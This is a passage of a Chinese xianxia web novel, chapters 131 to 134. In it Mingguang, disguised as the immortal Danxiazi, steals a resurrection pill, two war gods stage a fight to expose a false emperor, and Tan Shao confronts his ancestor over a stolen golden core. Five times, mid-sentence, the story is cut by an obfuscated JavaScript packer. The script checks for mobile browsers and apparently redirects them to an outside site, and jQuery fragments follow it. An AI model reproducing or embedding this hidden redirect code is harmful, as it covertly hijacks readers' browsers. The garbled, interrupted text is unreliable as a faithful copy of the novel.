仙家的酒壶不是俗物,有着取之不尽用之不竭的神奇功效。 看似小巧玲珑盛不了多少酒,却能源源不绝地倒出美酒,只要想喝就能一直喝下去。 檀豫应该已经喝了不少,一张白白胖胖的面孔已经喝得通红,眼神也有些迷蒙起来。 “哟,普和真君,您这是喝了不少酒吧?” “没多少,丹霞子你坐下,陪我喝几杯。” 明光求之不得,二话不说地就陪起了酒,趁此机会再灌上檀豫一波。如果能把这位老神仙灌醉,那么打开藏宝箱就要容易多了。 喝得醉眼朦胧的檀豫,问了“丹霞子”一个问题。 “你没有飞升成仙的潜力,但我却把你度化上天,让你成为了云间仙境的一位小仙官,你是不是很感激我?” “那是自然,真君的大恩大德,在下一直感激不尽,没齿难忘。” “如果当年,我有办法让你正儿八经地飞升成仙,成为镇守一方的大仙官,但这需要牺牲你的一位亲人,你愿意吗?” 明光知道重点来了,故作迟疑地问道:“呃……我的亲人会死吗?” 檀豫含糊道:“不会,只是会变得体弱多病。” “如果让父母因我而变得体弱多病,那我岂非很不孝。” “不用父母牺牲,兄弟姐妹就可以。” “那也得兄弟姐妹心甘情愿才行啊!否则我为了自己的前途去牺牲他们的健康,未免太不是玩意了。真君你肯定也看不上我这种人的,对吧?” 沉默片刻后,檀豫又缓缓问道: “那如果我有心要提携你,瞒着你牺牲了一位亲人的健康,换取你飞升成仙的机会,你知道后会怪我吗?” 檀豫会这么问,估计也是猜出了檀绍闭关的原因所在。一旦他验证了事实无误,也不知会如何面对他的“提携之恩”。 “丹霞子”一脸不敢造次的神色。 “真君,我怎么敢怪您呢,毕竟您这么做都是为了我好。不过如果我一直以为自己是凭本事飞升的,知道这个真相后可就难接受了,也会觉得没脸见人。” 檀豫不再说话,只是一杯接一杯地往喉咙里猛灌酒,没多久就彻底醉趴下了。 “普和真君,您别在这里趴着,我扶您回寝殿休息吧!” 明光趁机把醉倒的檀豫扶到藏宝箱面前,握着他的右手腕去开启箱子。 认主的藏宝箱判断出这是主人在开箱,二话不说就自动弹开了箱盖。 藏宝箱里装的都是上等极品仙丹,明光把烂醉如泥的檀豫随手搁在一张椅子上,开始动作麻利地翻箱子。 他很快找到了装着九转还阳丹的瓶子,从中倒出一枚珍珠般莹洁的仙丹揣进怀里。 从箱子后面飞出来的流金铃,也自动钻回主人怀里。 . 把檀豫扶去寝殿安顿下来后,明光一回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908930|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹霞子独居的屋子,就立刻通过传音鱼符跟应长恨汇报好消息。 “阿难弟弟,仙丹搞定了,檀绣有救了!” 应长恨关注的重点却是:“阿难哥哥,你没有暴露吧?” “当然没有,我这么聪明机智怎么可能会暴露呢!” “太好了,那你什么时候回来?” “接下来我会找机会以丹霞子的身份再度下凡,不能被他们察觉到我披着小仙官的皮溜上来了,否则玉京子就会知道移魂枕的隐藏功能被我发现了。” “好,那你自己小心一点,我会按照原计划,一直守在白云关外随时接应你。” “对了阿难弟弟,你给任天真发一道传讯飞符,告诉她玉京子对移魂枕势在必得,一定会利用无极宗上下的性命来威胁我将法宝拱手送上,让她带着阴有苓等人行路时要格外小心。” “这一点你已经有所预料,早就让任天真带上阴有苓和无极宗的所有弟子离开了摩宵宫。不过今晚你又强调这一点,是不是发现那个蛇精已经在打这个歪主意了。” . 那日在摩宵宫,任天真主动请缨,问起明光需不需要自己帮忙时,他也毫不见外地提出了自己的请求。 “我接下来要与天界为敌,又手握玉京子想要得到的移魂枕,为了把这一法宝弄到手,他极有可能利用无极宗上下的性命来威胁我。阴有苓,你和门中弟子都先离开摩宵宫暂避一下风头吧!真真,他们这些人的安全,就是我想要拜托你的事。” 任天真自然是满口答应,阴有苓也没有异议地点头。 “好,我只是凡界修士,这种事完全帮不上忙,唯一能做的就是不给你拖后腿。就是躲去哪里比较安全,还得好好想上一想。” “所以我要找真真帮忙,真真是法力高强的大妖,一定知道有什么隐蔽安全的地方,可以把你们安顿下来。” 妖怪修炼都需要一个灵气充沛又隐蔽安全的地方,任天真自然也不例外。 “没问题,我有一处洞府十分隐蔽,就带阴姐姐他们去那里好了。” “真真,那我就把阴有苓他们都拜托给你了。“ “行,包在我身上。” . 应长恨意识到了明光在云间仙境有所发现,他也不会对他隐瞒什么。 “对,玉京子最近在轮流召见云间仙境的所有大仙官,理由是为了应对仙鬼大战集思广益,但我觉得他应该是在物色可以移魂换体的人选。” “这回他看中哪个倒霉蛋了,你知道吗?” “我觉得可能是桓德真君吕翊周。他飞升成仙才一百多年,根脚不稳,声名不显,在云间仙境的大仙官中属于底层,是最合适不过的人选。” “也就是这个吕翊周要倒霉了!” “我觉得吕翊周其人可能并不简单,阿难弟弟,要不你找人暗中调查一下他的情况吧!” “行,我这就安排人去办,一有消息就告诉你。” 身为鬼王的应长恨,自然有大把人手可以驱使,调查一下吕翊周一点也不难。 131.神仙打架 次日上午,檀豫一直宿醉未醒,“丹霞子”找不到机会讨要通关令牌,只得耐着性子等他起床。 等着等着,外头忽然传来一阵嘈杂声。 明光走出去查看缘故,发现不远处的紫衡殿门口,越君朴和钟离斐正在大打出手。 他意想不到地一怔:我去,这二位怎么杠上了? 神仙打架,场面相当高能。 无论是越君朴的仙剑还是钟离斐的降魔枪,都带着横扫千军万马的杀伤力。非战斗人员如果不迅速撤离,一旦被扫到了准要倒大霉。 别说紫衡殿附近的一些小仙官,就算是大仙官如郦子微这样战斗力不高的文神,也得赶紧避开为上。 明光自然也不会跑过去触霉头,就站在普和殿门口观战。 看着那边两位武神打得难解难分,他心里突然一动,两道目光下意识地移向紫衡殿。 紫衡殿两扇朱扉金钉的大门中,帝君英昊正龙行虎步地走出来。头戴七色玉冠,身着九光锦袍,浑身上下流露着王者独有的威仪赫赫。 明光想不佩服都不行。 玉京子冒充英昊多年,已经达到炉火纯青级别。如果不是被他凑巧发现了真相,恐怕打死他也不会相信这位帝君是假的。 不过越君朴和钟离斐的这场神仙打架,倒能成为了一块试金石。因为想要阻止两个武神的交战,就唯有身为至高武神的帝君出面才行。 “越君朴,钟离斐,你们都给我住手。” 英昊面沉如水地下达命令,钟离斐听了手中的降魔枪去势一顿,想要罢手。 越君朴却像是杀红了眼,依然不管不顾地朝着他挺剑刺去。 关键时刻英昊出手了,一把抽出腰畔的仙剑神锋,光芒灼眼的剑刃破空而去,气势如虹地挑飞了越君朴手里的剑。 明光瞳孔微微一缩:不是吧?他居然能抽出神锋剑?这怎么可能,难道是我搞错了?不可能,铜棺将军绝对是英昊的残魂,他只能是玉京子才对。 . 紫衡殿中,越君朴和钟离斐双双垂首而立,端坐上首的英昊脸色铁青地怒斥他们。 “你们两个堂堂武神,居然在紫衡殿门口像街头混混一样打架斗殴,像什么样子?成什么体统?” “帝君,想来应该事出有因,不如先问清楚再做裁决。” 侍立一旁的郦子微进言后,钟离斐满脸“老子真是太冤了”的神色嚷嚷起来。 “帝君,这可不能怪我,是越君朴突然跑来指责我私下说他坏话,可我根本就没有。但他都不肯听我解释就疯子似的动手了,我总不能站着挨打吧?帝君,我不过是自卫,要追究责任你就找他。” 钟离斐又气又冤的一番话说完后,英昊盯着越君朴问。 “谁告诉你威毅真君私下说你坏话了?到底说了什么,能把你气得这样理智全无,直接在紫衡殿门口对仙僚动手?” “我刚才路过天池时,听到几个小仙官在一起扎堆议论。有人这么说:我家威毅真君说了,要不是华源真君无能,没把仙剑日月明封个五百年以上,明光现在根本就抖不起来。还说同为无极宗出身,华源真君跟明光比差得太远了,就像是驴子与良驹的区别。这种比较老子真是受够了,实在忍无可忍了!” 越君朴的话越说到后面越咬牙切齿,甚至还失控地低声嘶吼起来,一副长年累月被人拉踩,终于到了被最后一根稻草压垮的崩溃模样。 钟离斐气得差点没一蹦三尺高。 “什么?我压根就没有说过这种话,到底是威毅殿哪个小仙官这么胡说八道,你告诉我我去收拾他。” “当时有不少小仙官聚在一起,我没看清楚到底是谁在说话,只听到他自称是威毅殿的。如果不是你平时私下这般议论,你手下的人会说出这种话?” “我钟离斐对天发誓,如果说了这种狗屁混帐话,就让全家老小的亡魂都下十八层地狱——越君朴,我敢这样发誓,你总该相信我了吧?” 钟离一族当年惨遭灭门后,钟离斐痛彻心扉,为了报此血仇不惜穷尽半生精力。他敢说出这样的誓言,那就表明这些贬低之辞绝对不会出自他之口。 郦子微在一旁帮腔道: “华源真君,钟离将军会这么说,那此事绝对与他无关。其实钟离将军他平时也不是那种会爱嚼舌头说他人是非的人,你也是太生气了才会乱了心神,以致于对他产生这种误会。” “是啊,我钟离斐堂堂武神,才不会像个长舌妇一样整日对别人说三道四。事实上,我还一直觉得你比明光那小子强多了。他虽是难得一见的修真天才,可品行欠佳,一而再地想要犯上作乱。这种人就算能修成金仙,我钟离斐也一百个看不上。” 钟离斐一番话发自肺腑,越君朴听得出来,神色缓和多了。 “难道是我听岔音了,那个小仙官说的也许是文仪真君?” 文仪真君是山南一带的文神,文仪与威毅的发音相近。如果小仙官吐字不太清楚又或是说得太快,确实容易让人听错产生误会。 郦子微顿时心中雪亮:文仪真君平时没事就爱对他人评头品足,一定是他在大放厥词没错了。 虽然能猜出来,但是郦子微却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969231|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么也没说,如无必要他何苦出这个头去得罪仙僚呢? 钟离斐则没有这种顾虑,勃然大怒。 “文仪真君着实可恶,一张嘴爱说三道四也就罢了,还害得我无辜被连累。越君朴,你找他算完账后我还要跟他清算一下才解气。” 英昊皱着眉头道:“够了,这件事到此为止,你们两个都给我安分一点。仙鬼大战一触即发,你们身为武神不好好想想怎么应战,反倒先搞起了内讧。如果被无间鬼域那边知道了,一定要笑破肚皮不可。” 这话倒也在理,钟离斐虽然很想去抽文仪真君的大嘴巴子也只能忍了,总不能让应长恨和明光那帮人看天界的笑话。 但他还是有些愤愤不平,“文仪真君私下如此言辞不当,连带殿中伺候的小仙官都敢对华源真君这等大仙官出言不逊,帝君难道不应责罚吗?” 此言一出,郦子微忍不住暗中摇头: 钟离斐啊钟离斐,都不关你的事你强出什么头啊?越君朴自己都还没开口要求帝君处罚文仪真君,你倒先说上了。 越君朴都忍不住多看了钟离斐一眼。 他刚才可是追着他往死里打的人,可弄明白是怎么一回事后,他不但毫不介意还替他仗义执言起来了。 英昊板着脸道:“文仪真君固然要责罚,但是你们两个武神打架更是理应重罚。” “帝君,钟离斐是无辜遭到牵连,我一人作事一人担,就别再连累他受罚了,随便怎么罚我都行。” 越君朴当然不会再把钟离斐拖下水了,主动站出来承担所有责任。 英昊不无头痛地扶了一下额,仙鬼大战即将爆发,这个时候每位武神都很重要。 尤其是越君朴这样的中坚力量,重罚是肯定不行的,轻罚又说不过去,真是让人没法不头痛。 郦子微看出了英昊的为难,深谙上意地出面求情。 “帝君,仙鬼大战在即,眼下正是用人之际。华源真君不过是一时情绪失控,也并未造成什么严重后果,还望帝君法外施恩网开一面,就从轻发落吧!” 钟离斐也附和道:“是啊帝君,越君朴会这样也是事出有因,您就从轻发落吧。” 英昊正中下怀地准了,“也罢,华源真君,就罚你去白云关当值一个月。” 一般情况下,白云关由诸位武神轮流值守。现在让越君朴当值一个月,既是处罚也没让他闲着,受罚的同时也尽到了武神的职责。 越君朴恭敬从命:“是,谨遵帝君之令。” 就这样,两位武神的当街干架大事化小、小事化了地揭过去了。 132.神锋 紫衡殿里具体发生了什么,明光虽然不知道,但他一点也不担心越君朴或钟离斐会有什么事。 尽管两位武神的当众斗殴影响很不好,可玉京子肯定不会重罚。毕竟当下可是用人之际,他无论如何也不会在仙鬼大战前自毁长城。 果不出其然,这件影响恶劣的事很快出了处理结果:钟离斐作为无辜株连者啥事没有,越君朴则被罚去白云关当值一个月。 至于那位因其一根舌头差点引发一场血案的文仪真君,被帝君召去紫衡殿申斥了一番,还罚他闭门思过半年。 个中详情,在紫衡殿里侍奉的小仙官自然有第一手消息。 “丹霞子”堆满一脸好奇地跑去打听,人家也不会对他藏着掖着,毕竟还指望他手里能漏出几枚灵丹呢。 弄清楚了紫衡殿里发生的一切后,明光眸底滑过一丝不易察觉的笑意。 越君朴也长能耐了!今天这一出肯定是他在故意搞事情,别说搞得还真不错。 明光可以百分百地肯定,越君朴才没有听岔音,而是有意利用此事混水摸鱼借题发挥,所以才会不由分说地追着钟离斐开打,藉此来逼“紫衡帝君”亮剑。 明光忍不住暗赞了一声。 越君朴行啊!不但成功逼出了仙剑神锋,还顺便收拾了一把那个老是拉踩他的文仪真君。这招一石二鸟玩得可以呀! . 檀豫昨晚也不知喝了多少仙酿,醉卧了一整天都没苏醒。明光没有令牌走不掉,只得多留一天。 晚上回到屋里,明光利用传音鱼符跟应长恨暗通消息时,他有些担忧地问:“阿难哥哥,如果明天姓檀的老家伙还是不醒怎么办?” “明天还能多留一日,后天就无论如何也得走,否则檀绣得不到九转还阳丹就救不活了。” “如果到了后天你还没机会走,就找借口来白云关。到时候我假装闯关,炮制一个‘丹霞子’不走运被鬼刀扫到、跌下天界的假象。” “嗯,这法子好,就这么办。” 明光还把今日云间仙境的特大新闻告诉了应长恨。 “真是没想到,越君朴居然也有演戏的天分呢!今天这一出假打,他打得跟真发疯一样。” 应长恨的关注点不一样。 “什么,越君朴居然让那个死蛇精亮出了仙剑神锋,这怎么可能?他根本就不是英昊,神锋剑怎么会奉他为主,这仙剑的灵智是不是弱智啊?” “神锋剑乃天界第一神兵,绝对不是一柄弱智的剑。它能把玉京子误认为主人,我想来想去只能想到一个原因。” “什么原因?” “玉京子当初杀害英昊后,吞噬了他的尸体——也就是英昊整个人都与他融为一体,形成了你中有我我中有你的交融状态,所以神锋剑才会奉他为主。” 神兵与法宝的认主,基本上都是通过滴血认主这一方式。 玉京子完全融合了英昊的全身血肉,神锋剑自然也就不会“认错人”。 应长恨听得一阵恶寒,忍不住开骂: “这个死蛇精真是太变态了!如果要我把一具尸体吃下肚,我肯定先把自己恶心死了。” “玉京子的原形是蛇,杀死英昊后只要显出蛇身本体,就能完整吞下他的尸体。也只有玉京子才能这么干,如果换作其他人,谁也没办法做到这一点。” 叹了一口气后,明光又感慨道: “英昊一定无论如何也想不到,他身为三界第一的帝君,竟会死在最信任的蛇兄弟手里,连尸首都被玉京子吞噬后与之融为一体,导致仙剑神锋也认贼作父。我以前觉得自己很惨,但是跟他比惨的话我只有认输的份儿。” 英昊一定非常信任自己的蛇兄弟,否则以他至尊武神的身份,想要杀他谈何容易。 玉京子却利用这份信任暗算他,要了他的命,难怪英昊的残魂满是滔天恨意。 . 这天,是明光以丹霞子身份混入云间仙境的第三天。时近正午的时候,已经醉卧了一天多的檀豫总算是醒了。 “丹霞子”十分殷勤地捧来一盏碧桃和露茶,“真君,您总算醒了,先喝口茶醒醒酒吧!” 檀豫一边接过茶一边问:“我睡了多久?” “真君,我陪您喝酒还是前儿晚上的事,您醉了一天多,还错过了一场热闹呢。” “什么热闹?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980386|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“华源真君和威毅真君打起来了,还是在紫衡殿门口动手。” 明光把昨日发生在云间仙境的事说给檀豫听,他听了都有些惊讶。 “还真是兔子急了也咬人啊!越君朴往日听到这些闲言碎语总是忍让,看来终于忍不下去了,居然发了这么一场大飚。” “忍字心头一把刀,哪里那么好忍啊!华源真君忍了那么多年,显然已经忍无可忍,所以干脆撕破脸皮大闹一场。” “他这回发飚也算赶上了好时候,仙鬼大战在即,帝君不会因此重责他。只是罚去白云关当值一个月,连服苦役都谈不上。” “是啊,文仪真君反倒更倒霉一些,足足要关上半年禁闭呢!” “文仪那张嘴实在太爱说三道四了,平时也就罢了,现在是什么时候?明光已经扬言要勾结鬼王打上天界,帝君正需要倚仗武神的时候,他还敢说越君朴无能,惹得他闹腾起来自己又会有什么好果子吃呢?如此看不清形势、搞不清状况,还像以前那样乱嚼舌头,真是活该被罚。” 明光装傻充愣地奉承道:“真君这么一说,我才知道文仪真君为什么会被罚得这么重了,您真是慧眼如炬,明察秋毫。” 檀豫喝完那盏碧桃和露茶后,明光一边接过空茶盏,一边用贴心的口气道: “真君,檀家村那边要不我再下去看看情况吧。檀绣的小院为什么会被结界封锁,她又到底是死是活,这些事我当日下凡时都没查出来。或许现在情况有变,我去了能知道一些新消息。” “也好,那你就再下凡一趟吧。” 檀豫没有反对,拿出通行白云关的灵玉令牌给了明光,他可以光明正大地离开云间仙境了。 “丹霞子”还没来得及走出普和殿的大门,就迎面遇上了檀绍。 除了当年的明光以外,檀绍就是近千年来天界风头最盛的新晋武神。 这位年轻有为的檀仙郎,自从踏入云间仙境那天起,一直都是雄姿英发、神采飞扬的模样,今日却蔫得像霜打过的茄子。 只是一个照面,明光就心头一片雪亮:看来法子管用,他闭关两日,已经确定了体内的金丹到底是以精为基还是以血为基。 133.轮回台 “丹霞子”朝着檀绍点头哈腰地打招呼道:“冲元真君您来了。” 檀绍劈头就问:“普和真君在哪儿?” “他刚去了书房,您这边请。” 明光不着急走了,先领着檀绍去了东侧殿的书房。 “真君,冲元真君来访。” 檀豫一看檀绍那副面孔苍白气色灰败的颓然模样,自然也不难明了一切,立刻挥手示意“丹霞子”离开。 明光貌似恭敬地退出书房关上房门,然后守在门口没走,专心致志地聆听着里头的动静。 书房里只剩下檀绍和檀豫两个人,檀绍开门见山地说: “普和真君,我已经知道自己能够飞升成仙是因为檀绣的金丹,我现在只想知道您当初为什么要这么做?” 如此单刀直入的问题,没有一点拐弯抹角的迂回,檀豫知道自己就算想装作没有这么一回事也不行了。 “阿绍,记不记得我曾经说过,你很像我年轻的时候。” “难道跟这一点有关系吗?” 檀豫注视着一脸理解无能的檀绍,叹息道:“不只是很像,你和我年轻的时候长得几乎就是一模一样。看见你,就像是隔着几百年的光阴,与年轻时的自己重逢。” “我年轻的时候,走过很多弯路,浪费了很多时间,年过四十才开始修仙问道,修到八十八岁才得道成仙。后代子孙中你最像我,我很希望你将来修成正果飞升成仙。如果你能来云间仙境,那么我不只是在人间后继有人,在天界也同样后继有人了。” 檀豫的一番话,听得檀绍惨淡一笑,满脸都是自我嘲讽的神色。 “可是我偏偏资质平庸,不具备飞升成仙的潜力,远不如天资出众的檀绣。于是您想到了利用她的金丹来替我加持,让我取代她成为檀氏一族的后起之秀。可檀绣也是您的后代子孙,您为什么就不能接受她成仙呢?” “檀绣只是一个女儿家,修仙不成可以嫁人生子,平庸一生也无妨,毕竟女人的天职就是做贤妻良母相夫教子。可你是男子,男子的天职是功成名就光宗耀祖。我想让你成为檀氏一族最有潜力飞升的准仙官,她为了家族牺牲一下自己,也没什么大不了的。反正都是一家人,肉烂在锅里,不是吧?” 檀豫一番话说得推心置腹,仿佛全然是在为檀绍打算,他沉默着一言不发。 “对了,你是怎么知道这件事的?是明光告诉你的吗?” 檀绍点了一下头,檀豫难以置信地继续追问:“可他又是怎么知道的?此事我做得十分隐蔽,他一介小妖,也绝无可能暗中跟踪我而不被我发现。” “他说是卫靖告诉他的。” 从檀绍嘴里搞清楚事情的来龙去脉后,檀豫气得花白的胡子一阵乱颤。 “这个卫靖真是不厚道,自己想要捏住我的把柄也就算了,居然还把这事告诉明光,死到临头还要坑我一把。对了,明光他们为什么要设结界封了檀绣住的院子,他们到底想干什么?” “檀绣失去金丹后沦为废材,被修真学堂淘汰,也被族人们嘲笑。她不甘心地怀着执念继续独自修行,整个人还变得疯疯癫癫起来。明光他们找到檀家村的那天,她因为打座炼气时走火入魔暴毙了!” 檀豫出其不意地一怔。 “什么?檀绣死了!这丫头也真是的,修真学堂都把她清退了,何苦来着还不死心非要继续修行,找个男人结婚生子不好吗?结果搞得自己没了性命。” 泛泛地叹了一口气后,檀豫给檀绍交了一个底。 “檀绣已死,明光利用黑气把你叫下去,是不是想用这件事来威胁你?你别怕,别说卫靖已经死了,就算他还活着,也是空口无凭的指证。只要我咬死没有这么一回事,帝君也不能把咱们怎么样的。” “明光不是要威胁我,而是想让我设法救檀绣一命。” 檀豫怔了一下后很快反应过来,“他想让你从我这里搞一枚九转还阳丹去救活她?” “对,您能给我一枚吗?明光只能把檀绣的魂火封回肉身三天,过了这个时间就救不活了。” “阿绍,你是不是傻啊?明光跟檀绣非亲非故,凭什么这么好心要救她?这其中肯定有阴谋。他一定是想让檀绣活过来后把事情闹大,让你我丢脸。檀绣既然都已经死了,那就是天意的安排,一切就到此为止吧!” “老祖宗。” 檀绍定定地注视着檀豫,改成了后代子孙的口吻。 “您是檀氏一族的老祖宗,檀绣也是您的后人。当初为了捧我上位您牺牲了她,现在可以救她一命就发发慈悲吧!” “如果明光他们没有插手此事,我救檀绣一命也没什么。可是眼下这种情况,救活她只会给咱们添乱的。阿绍,你和檀绣以前关系并不熟,为什么一定要救她呢?” “因为我的金丹是她的,我能成为仙官都是因为牺牲了她的缘故。我亏欠她这么多,实在没办法做到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991243|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她的死活置之不理。” “阿绍,整件事跟你没关系。牺牲檀绣来扶持你是我的决定,你根本就不知情。” “但我终究是受益者,原本属于檀绣的一切都被我得到了。以前不知情也就算了,现在知道了真相,又怎能心安理得地为了自保看着她去死。可笑我还一直以为自己真是天纵奇才,飞升成仙后整天目中无人地瞧不起别人,谁知到头来自己才是最让人瞧不起的那个人。” “阿绍,别这么说自己。虽然我把檀绣的金丹给了你,但你能修炼成仙也离不开自己的努力,如果不是你刻苦修行,也不会这么快就飞升的。” “不管怎么说,是檀绣的金丹让我有了高人一等的资本,我欠她的必须还,首先就是要救活她。” 虽然无法说服檀绍,但是檀豫拿定主意多一事不如少一事。 救活檀绣对他来说没有好处只有坏处,虽然她是他的后代子孙,但檀氏一族的子孙何其多,他又不是损失不起。 “人死如灯灭,此事到此为止,不必再提了。” 檀豫一番话透着不容转圜的意思,檀绍沉默片刻道: “老祖宗,如果您不答应给我仙丹救活檀绣,那我无颜继续留在云间仙境,只能去轮回台自堕凡界,重新沦为凡人。” 轮回台在云间仙境相当于刑台。如果有神仙触犯天规被贬落凡间,就是从轮回台下凡。 轮回台的下凡通道有两个,一个是人道;一个是畜生道。 顾名思义很好理解,走人道被贬下凡还能继续当人,走畜生道下凡就只能当畜生了——明光就是这样的倒霉蛋。 云间仙境的神仙们,没事都不爱去轮回台,嫌那个地方晦气。 像檀绍这样声称要自己去轮回台自堕凡界的仙官,堪称前所未有。 好不容易才修成正果飞升成仙,谁又会舍得放弃这一切,自堕凡界重新沦为凡人呢? 檀豫都震动得无以复加:“什么?阿绍,你疯了吗?” “我这个武神来路不正,根本就是踩着檀绣上位的。如果救不了她的命,我就只能从轮回台跳下去,也算是还清了欠她的债。” 檀绍的声音不高,语气也不激烈,但每一个字都透着深思熟虑后的坚定不移。 檀豫听得呆若木鸡。成仙多年见多识广的老神仙,已经很久很久没有这样被惊呆过了。 书房外,明光悄然转身离去,觉得自己没有必要再听下去了。 134.左右为难 云间仙境,白云关。 坐镇白云关的武神,已经换成了越君朴。 九层关楼之上,矗立着他一身黑金铠甲的挺拔身姿。披在肩头的一袭猩红色披风,在云海中飘扬如旗帜。 “丹霞子”手持普和殿的灵玉令牌过关时,越君朴丝毫没有留意这位小仙官。他的两道视线,自始至终都在眺望着关楼下方的白云海。 白云海由无数洁白云朵汇集而成,变幻不定的云彩宛如波澜壮阔的海洋,一望无垠地铺满天际。 云海的变化,就像人生的无常、世事的难料,无法预测,难以掌控。 明光很顺利地出了白云关,然后直飞而下穿过白云海。云海下方,就是一直等着接应他的应长恨。 “阿难哥哥,你可算回来了。” “此地不宜久留,咱们先回檀家村。” 应长恨守在距离白云关如此近的地方,稍有不慎就很容易被守关的武神察觉出异样。 他倒是不在乎打上一架,但是明光不想惊动玉京子。 . 回到檀家村的那座小院后,明光第一时间利用移魂枕回到自己的身体。再让应长恨放出丹霞子的魂魄,让他也魂归肉身。 “阿难哥哥,现在该把这小子怎么办?肯定不能就这么放他回去吧?” 在锁魂囊里关了三天,丹霞子对于外头发生了什么一概不知。但是有一点他很清楚,自己知道了一个大秘密,极有可能被杀人灭口。 “灵曜天君,灵曜天君您饶我一命吧!只要您不杀我,我愿意余生都为您当牛做马。” 丹霞子知道求应长恨没用,只能扑通一声跪在明光面前苦苦哀求着。 “谢谢你,不用了,我不需要有人给我当牛做马。” “那您想让我做什么都行,只要留我一命,我什么都答应。” “放心,我不会要你的命,但眼下也不能放你回去。要不就委屈你一下,先跟我们去无间鬼域盘桓一段时日吧。” 明光一番话说得很客气 ,但是丹霞子听了吓得声音都有些哆嗦了。 “啊……这……天君容禀,无间鬼域的鬼气太浓,我去了万一抵御不了鬼气侵袭,可就要变成鬼了。” “那是你的事,能不能抵御住鬼气的侵袭,你自己看着办。” 应长恨冷冰冰的声音方落,明光又笑眯眯地开口道: “丹霞子,你可是普和殿有头有脸的小仙官,修为也不会太低,抵御鬼气应该不成问题。只要努力一定能做到的,我看好你呀!” 丹霞子自知无法拒绝这一安排,只能认命地点头了。 “多谢灵曜天君看得起,我一定努力,一定努力。” “你先在这里躺一会儿,我们待会再来找你。” 丹霞子呆了一下:“啊!又躺?” 明光的意思应长恨一听就懂了,老实不客气地直接一掌拍昏了他,让他再次躺在地上人事不省。 . 丹霞子失去了意识,明光和应长恨说话行事就方便了。他们一起走出屋子,来到小院中并肩伫立。 “阿难哥哥,你还在等什么?不是要拿仙丹去救檀绣吗?” “我在等檀绍,他应该很快就会出现了。” 离开普和殿前听到的对话内容,明光简明扼要地对应长恨说了一下,他听了倒是对檀绍有些刮目相看。 “看来檀绍这小子还不错,是个有血性的,比檀豫那老家伙强多了。” 之前檀绍那副鼻孔朝天不拿正眼看人的傲慢作派,让应长恨十分看不惯,见一次就想打他一次。 但是他在这件事上表现出来的担当,还是相当可贵的。 验证金丹的基础到底是精为基还是血为基,只有檀绍自己才知道。如果他昧着良心一口咬定没有这回事,谁也不能把他怎么样。 然而,意识到真相一如明光所说后,檀绍就去找檀豫索要仙丹救檀绣。 不管檀豫怎么劝他这么做对自己不利,他也还是不为所动。甚至在遭到拒绝时,明确表态甘愿自堕凡界来还清自己欠檀绣的债。 明光点头道:“所以救檀绣的事就留给檀绍来做吧,咱们不能抢这个先。” 没过多久,檀绍御风而来的身影就出现在他们面前。 年轻的武神曾经那份不可一世的骄傲,如今已经荡然无存。整个人如同一株失水的植物,干瘪憔悴,蔫得没有一点精气神。 见到明光时,檀绍不无难堪地低下头,闷闷地道:“我来救檀绣,她在哪儿?” 明光十分体贴地指着西厢房,一个多余的字都没说。应长恨也闭着嘴巴,没像以往那样冷嘲热讽。 檀绍进入西厢房后,呆了差不多半个时辰才出来。发现应长恨已经不见了,只有明光还站在小院里。 “檀绣没事了吧?” “她已经没事了。” “那就好,这件事我不会再插手,你不用担心我再多管闲事。” 明光婉转表达了自己不会将此事当作把柄来拿捏檀绍,他自然也能听懂弦外之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004596|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 